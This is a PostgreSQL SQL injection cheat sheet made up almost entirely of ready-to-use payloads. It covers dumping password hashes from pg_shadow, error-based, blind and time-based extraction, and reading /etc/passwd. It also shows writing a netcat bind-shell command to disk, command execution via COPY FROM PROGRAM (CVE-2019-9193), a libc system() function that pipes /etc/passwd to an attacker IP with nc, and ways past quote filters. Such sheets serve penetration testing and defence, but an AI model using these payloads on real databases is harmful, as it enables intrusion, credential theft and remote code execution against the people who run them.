PostgreSQL injection

Summary

• PostgreSQL Comments

• PostgreSQL version

• PostgreSQL Current User

• PostgreSQL List Users

• PostgreSQL List Password Hashes

• PostgreSQL List Database Administrator Accounts

• PostgreSQL List Privileges

• PostgreSQL Check if Current User is Superuser

• PostgreSQL database name

• PostgreSQL List databases

• PostgreSQL List tables

• PostgreSQL List columns

• PostgreSQL Error Based

• PostgreSQL XML Helpers

• PostgreSQL Blind

• PostgreSQL Time Based

• PostgreSQL Stacked query

• PostgreSQL File Read

• PostgreSQL File Write

• PostgreSQL Command execution

  • CVE-2019–9193

  • Using libc.so.6

• Bypass Filter

• References

PostgreSQL Comments

--
/**/  

PostgreSQL Version

SELECT version()

PostgreSQL Current User

SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();

PostgreSQL List Users

SELECT usename FROM pg_user

PostgreSQL List Password Hashes

SELECT usename, passwd FROM pg_shadow 

PostgreSQL List Database Administrator Accounts

SELECT usename FROM pg_user WHERE usesuper IS TRUE

PostgreSQL List Privileges

SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user

PostgreSQL Check if Current User is Superuser

SHOW is_superuser; 
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;

PostgreSQL Database Name

SELECT current_database()

PostgreSQL List Database

SELECT datname FROM pg_database

PostgreSQL List Tables

SELECT table_name FROM information_schema.tables

PostgreSQL List Columns

SELECT column_name FROM information_schema.columns WHERE table_name='data_table'

PostgreSQL Error Based

,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)

' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1

PostgreSQL XML helpers

select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row

The query_to_xml above returns all the results of the specified query as a single result. Chain this with the PostgreSQL Error Based technique to exfiltrate data without having to worry about LIMITing your query to one result.

select database_to_xml(true,true,''); -- dump the current database to XML
select database_to_xmlschema(true,true,''); -- dump the current db to an XML schema

Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.

PostgreSQL Blind

' and substr(version(),1,10) = 'PostgreSQL' and '1  -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1  -> KO

PostgreSQL Time Based

AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))

PostgreSQL Stacked Query

Use a semi-colon ";" to add another query

http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--

PostgreSQL File Read

select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);

NOTE: Earlier versions of Postgres did not accept absolute paths in pg_read_file or pg_ls_dir. Newer versions (as of this commit) will allow reading any file/filepath for super users or users in the default_role_read_server_files group.

CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;

SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data

PostgreSQL File Write

CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';

Or as one line:

COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';

SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport

PostgreSQL Command execution

CVE-2019–9193

Can be used from Metasploit if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.

DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id';        -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec;                 -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Remove the table

https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png

Using libc.so.6

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

Bypass Filter

Quotes

Using CHR

SELECT CHR(65)||CHR(66)||CHR(67);

Using Dollar-signs ( >= version 8 PostgreSQL)

SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$

References

• A Penetration Tester’s Guide to PostgreSQL - David Hayter

• Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf

• SQL Injection /webApp/oma_conf ctx parameter (viestinta.lahitapiola.fi) - December 8, 2016 - Sergey Bobrov (bobrov)

• POSTGRESQL 9.X REMOTE COMMAND EXECUTION - 26 Oct 17 - Daniel

• SQL Injection and Postgres - An Adventure to Eventual RCE - May 05, 2020 - Denis Andzakovic

• Advanced PostgreSQL SQL Injection and Filter Bypass Techniques - 2009 - INFIGO